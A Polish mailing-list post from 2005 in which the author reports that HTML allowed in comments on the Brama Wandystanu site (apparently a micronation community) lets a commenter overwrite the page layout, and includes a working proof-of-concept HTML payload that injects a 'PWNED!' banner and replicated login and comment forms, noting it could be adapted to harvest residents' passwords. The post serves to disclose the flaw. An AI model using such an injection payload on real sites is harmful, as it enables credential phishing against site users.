Wydaje mi się, że odkryłem pewną dziurę związaną z możliwością użycia HTML
w komentarzach.
Otóż doklejenie na końcu komentarza poniższego kodu spowoduje zastąpienie
części kodu HTML strony artykułów Bramy Wandystanu poniżej komentarzy
innym kodem. Podany przykład wyświetla tylko słowo PWNED po formularzu
komentarzy, ale można użyć po modyfikacji do wydobycia danych mieszkańca i
hasła.
- [Kod] ----
<br><center>
<FORM NAME="nowekonto" METHOD="post"
ACTION="index.php?co=bramacom&kto=20050819185438">
<br><b><u>Skomentuj artykul</u></b><br>
<input name="id" size="5" value="Id" class="form">
<input name="has" size="10" value="Haslo" class="form"><br><br>
<TEXTAREA NAME="tex" ROWS=5 COLS=40
class="form">Komentarz...</TEXTAREA><br>
<strong style="font-size: 5em;">PWNED!<strong>
<br><br>
<input type="submit" name='opcja' value="Komentuj" class="form"><br><br>
</FORM></center>
<TD bgcolor=#FFFFFF width=10>
<TD bgcolor=#FFFFFF valign=top class=tekst1>
<TABLE BORDER=0 CELLPADDING=0 CELLSPACING=0 width=155>
<TR bgcolor=#FFFFFF>
<TD bgcolor=#DD0000 class=tekstwhite height=20 width=100>
<b>Logowanie</b>
</TR>
<TR> <TD class=tekstred>
<font class=tekst1>
<FORM NAME="nowekonto" METHOD="post" ACTION="index.php?co=logowanie">
ID: <br>
<input name="log" size="14" class="form">
<br> haslo: <br>
<input type=password name="pas" size="14" class="form">
<br><br>
<input type="submit" name="opcja" value="Zaloguj" class="form"><br>
</FORM>
</font>
<A href="index.php?co=form0001"><b>ZAMIESZKAJ</b></a>
</TR>
<TR>
<TD bgcolor=#DD0000 class=tekstwhite height=20 width=155>
<b>Prasa</b>
</TR>
<TR bgcolor=#FFFFFF> <TD class=tekstred>
<A href="http://rudeprawo.blog.com/">Rude Prawo</a> <br>
<A href="http://bramawan.blox.pl/html/">Brama</a> <br>
<TR>
<TD bgcolor=#DD0000 class=tekstwhite height=20>
<b>Kultura</b>
</TR>
<TR bgcolor=#FFFFFF> <TD class=tekstred>
<A
href="http://work.only.pl/wandystan/antyalkochol//">Antyalkohol</a><br>
<A href="http://www.socreal.glt.pl/">Socrealizm</a> <br>
<A href="http://wandystan.blox.pl/">Wyprawa morska</a> <br>
<A href="http://www.wmn.go.pl//">Muzeum</a><br>
<A href="http://infowan.webpark.pl">FAQ</a><br>
<TR>
<TD bgcolor=#DD0000 class=tekstwhite height=20>
<b>Sonda</b>
</TR>
<TR bgcolor=#FFFFFF> <TD class=tekstred><font class=tekst10>
<FORM NAME="nowekonto" METHOD="post" ACTION="index.php?co=sondaexe">
Gdyby wybory do Churału Ludowego odbyway się dzisiaj którą partię
politycznÄ…
byś poparł (pene nazwy dostępne w spisie partii)
<br><INPUT TYPE="radio" class=form NAME="wybor" VALUE="WSPJ"> WSPJ
<br><INPUT TYPE="radio" class=form NAME="wybor" VALUE="LOK"> LOK
<br><INPUT TYPE="radio" class=form NAME="wybor" VALUE="LWR"> LWR
<br><INPUT TYPE="radio" class=form NAME="wybor" VALUE="KPNJ"> KPNJ
<br><INPUT TYPE="radio" class=form NAME="wybor" VALUE="FZ"> FZ
<br><INPUT TYPE="radio" class=form NAME="wybor" VALUE="WZPR"> WZPR
<br>
<input type="submit" name='opcja' value="Głosuj" class=form>
</center>
</FORM>
</font>
</TABLE>
</TR>
</TABLE>
</center>
</font>
<!--
--
pozdrawiam,
Paweł Ciupak
Padomju, z życia listy dyskusyjnej Wandystanu:
http://padomju.jogger.pl/
Teraz grane: [nic]
Received on Sat 20 Aug 2005 - 13:40:56 CEST